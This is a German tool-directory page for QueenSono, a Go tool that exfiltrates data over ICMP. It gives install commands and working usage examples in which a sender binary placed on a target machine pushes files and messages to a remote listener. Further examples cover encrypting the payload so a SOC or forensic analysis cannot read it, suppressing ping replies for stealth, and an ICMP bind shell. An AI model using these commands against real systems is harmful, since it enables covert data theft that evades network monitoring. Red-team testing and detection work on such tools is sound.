Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
QueenSono — Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...) | Kitploit
Tools/GitHubGitHub/ariary/queensono
DatenexfiltrationNetzwerksicherheitPenetrationstestsCommand and ControlRed Teaming
GitHubariary/queensono

QueenSono

Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...)

Repository anzeigen
16827vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

QueenSono ICMP-Datenexfiltration



Ein Golang-Paket für Datenexfiltration mit ICMP-Protokoll (IPv4 & IPv6).

QueenSono verlässt sich lediglich darauf, dass das ICMP-Protokoll nicht überwacht wird. Das ist recht üblich. Es könnte auch in einem System mit grundlegender ICMP-Inspektion (z.B. Überwachung von Frequenz und Inhaltlänge) verwendet werden oder um den Authentifizierungsschritt bei Captive Portals zu umgehen (die von vielen öffentlichen WLANs genutzt werden, um Benutzer nach der Verbindung zum WLAN zu authentifizieren, z.B. Flughafen-WLAN). Es versucht, PyExfil (und andere) nachzuahmen, mit dem Gedanken, dass auf dem Zielrechner nicht zwingend Python installiert sein muss (daher könnte die Bereitstellung einer Binärdatei nützlich sein).

Installieren · Nutzen · Notizen · Funktion anfragen · 🎁

Installieren

Mit curl

> Aus dem Release

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Mit go

> Über go install

Stellen Sie sicher, dass $GOPATH in Ihrem $PATH ist, bevor Sie fortfahren.

Installieren von qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # Binärdatei umbenennen

Installieren von qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # Binärdatei umbenennen

> Binärdatei aus dem Quellcode installieren

Klonen Sie das Repository und laden Sie die Abhängigkeiten lokal herunter:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Um den ICMP-Paket-Sender qssender zu bauen:

root@kitploit:~
build.queensono-sender

Um den ICMP-Paket-Empfänger qsreceiver zu bauen:

root@kitploit:~
build.queensono-receiver

Nutzung

qssender ist die Binärdatei, die ICMP-Pakete an den Listener sendet, also die Binärdatei, die Sie auf Ihr Zielsystem übertragen müssen.

qsreceiver ist der Listener auf Ihrem lokalen Rechner (oder überall dort, wo Sie ICMP-Pakete empfangen können).

Alle Befehle und Flags der Binärdateien finden Sie mit --help.

Beispiel 1: Senden mit "ACK" 🔙

> In diesem Beispiel möchten wir eine große Datei senden und auf Echo-Antworten warten, um den Empfang der Pakete zu bestätigen (ACK).

demo

Auf dem lokalen Rechner:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Erklärung
  • -l 0.0.0.0 hört auf allen Schnittstellen auf ICMP-Pakete
  • -f received_bible.txt speichert die empfangenen Daten in einer Datei
  • -p zeigt einen Fortschrittsbalken der empfangenen Daten an
  • Auf dem Zielrechner:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # große Datei herunterladen (für das Beispiel)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Erklärung
  • send file zum Senden einer Datei (bible.txt ist die betreffende Datei)
  • -d 2 sendet alle 2 Sekunden ein Paket
  • -l 0.0.0.0 die Adresse, auf der auf Echo-Antworten gehört wird
  • -r 10.0.0.92 die Adresse meines entfernten Rechners mit laufendem qsreceiver
  • -s 50000 die Datenmenge, die ich in jedem Paket senden möchte
  • Beispiel 2: Senden ohne "ACK" 🙈

    > In diesem Beispiel möchten wir eine Nachricht senden, ohne auf eine Echo-Antwort zu warten (dies kann nützlich sein, falls die Firewall des Ziels eingehende ICMP-Pakete filtert).

    demo

    Auf dem lokalen Rechner:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Erklärung
  • receive truncated 1 wartet nicht unbegrenzt, falls wir nicht alle Pakete empfangen haben. (1 ist die Verzögerung, die bei qssender verwendet wird)

  • Zur Tarnung können Sie den Kernel daran hindern, auf ICMP-Pings zu antworten:
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    Auf dem Zielrechner:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Erklärung
  • -N noreply-Option (nicht auf Echo-Antwort warten)
  • Beispiel 3: Verschlüsselte Daten senden 🔒

    > In diesem Beispiel möchten wir eine verschlüsselte Nachricht senden. Da die Befehlszeile ausspioniert werden könnte, verwenden wir asymmetrische Verschlüsselung (falls der Schlüssel ausläuft, ist das kein Problem).

    demo

    Auf dem lokalen Rechner:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt
    <AUSGABE ÖFFENTLICHER SCHLÜSSEL>
    
    Erklärung
  • --encrypt verwendet Schlüsselaustausch. Es wird ein öffentliches/privates Schlüsselpaar generiert. Der öffentliche Schlüssel wird von qssender zum Verschlüsseln der Daten verwendet, der private zum Entschlüsseln mit receiver
  • Auf dem Zielrechner:

    root@kitploit:~
    $ export MSG="<Ihre Nachricht>"
    $ export KEY="<öffentlicher_Schlüssel_aus_der_qsreceiver-Ausgabe>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Erklärung
  • --key gibt den Schlüssel für die Datenverschlüsselung an. Verwenden Sie den vom qsreceiver-Befehl bereitgestellten Schlüssel.
  • Über die Verschlüsselung

    Es wird RSA-Verschlüsselung verwendet, um die ausgetauschten Daten vertraulich zu halten. Dies kann z. B. nützlich sein, um zu verhindern, dass ein SOC (oder die Forensik) bei einer einfachen Analyse sieht, welche Daten ausgetauscht werden, oder einfach aus Datenschutzgründen.

    Dies hat jedoch seinen Preis. Die Wahl der asymmetrischen Verschlüsselung ist dadurch motiviert, dass der Verschlüsselungsschlüssel in der Befehlszeile eingegeben wird (also leicht ausgelesen werden kann). Daher verschlüsseln wir Daten mit dem öffentlichen Schlüssel. Falls jemand den Verschlüsselungsschlüssel erhält, kann er die Nachricht so nicht entschlüsseln. Der öffentliche Schlüssel ist jedoch kleiner als der private, sodass er kleinere Nachrichten verschlüsselt. Außerdem ist es rechnerisch aufwändig.

    Ein weiterer Punkt: Da wir die Datenmenge / Ping-Anfragen begrenzen möchten (um Erkennung, Fehler usw. zu vermeiden), verwenden Sie die Verschlüsselung nur bei Bedarf, da die Ausgabegröße der Nachricht (sollte) immer der Größe des Modulus (Teil des Schlüssels) entspricht, was groß ist.

    Verbesserung

    Derzeit wird die gesamte Nachricht verschlüsselt und dann in Stücke (Chunks) geteilt und gesendet. Auf der anderen Seite warten wir auf alle Pakete (Chunks), setzen die Nachricht wieder zusammen und entschlüsseln sie dann. Das funktioniert aber ⇔ wir haben ALLE Chunks erhalten, andernfalls schlägt die Entschlüsselung fehl.

    => Wir könnten jeden Chunk entsprechend dem Parameter -s verschlüsseln, sodass wir sie separat entschlüsseln könnten.

    Beispiel 4: Daten per Echo-Antwort empfangen ↩️

    > In diesem Beispiel sendet der lokale Rechner Daten zurück an das Ziel über ICMP-Echo-Antworten. Nützlich, wenn ausgehende ICMP-Pakete vom Ziel gefiltert werden, das Ziel aber Echo-Antworten empfangen kann.

    Auf dem lokalen Rechner:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Erklärung
  • reply-send wartet auf einen Auslöser von qssender und sendet dann Daten als ICMP-Echo-Antworten zurück.
  • -l 0.0.0.0 hört auf allen Schnittstellen auf das Auslöserpaket
  • -d 1 Verzögerung von 1 Sekunde zwischen den Antwortpaketen
  • Auf dem Zielrechner:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Erklärung
  • receive sendet einen Auslöser an qsreceiver und sammelt Daten aus eingehenden Echo-Antworten.
  • -l 0.0.0.0 die Adresse, auf der auf eingehende Echo-Antworten gehört wird
  • -r 10.0.0.92 die Adresse meines lokalen Rechners mit wartendem qsreceiver reply-send
  • IPv6-Unterstützung

    QueenSono unterstützt ICMPv6 transparent. Geben Sie eine IPv6-Adresse an, und das Protokoll wird automatisch erkannt – keine zusätzlichen Flags erforderlich.

    Auf dem lokalen Rechner:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    Auf dem Zielrechner:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Erklärung
  • -l :: hört auf allen IPv6-Schnittstellen
  • -r fe80::1 IPv6-Adresse des entfernten Rechners – löst automatisch ICMPv6 aus
  • Alle Modi (Senden mit ACK, Senden ohne ACK, verschlüsselt, Echo-Antwort) funktionieren auf die gleiche Weise über IPv6.

    Bonus

    Siehe hack-Abschnitt für unterhaltsame Dinge mit QueenSono:

    • Gebundene Shell per ICMP
    • HTTP über ICMP-Tunneling

    Notizen

    • funktioniert nur unter Linux (aufgrund der Verwendung des Golang-Net-ICMP-Pakets)
    • benötigt cap_net_raw-Fähigkeiten
    • unterstützt sowohl IPv4 (ICMP) als auch IPv6 (ICMPv6) – wird automatisch anhand der Adresse erkannt
    • wenn Sie tatsächlich ICMP-Pakete auf 2 verschiedenen Rechnern senden und auf Echo-Antworten warten, stellen Sie sicher, dass Sie eine vom entfernten Rechner erreichbare IP als Abhöradresse verwenden (verwenden Sie nicht localhost oder ähnliches)
    Tool herunterladen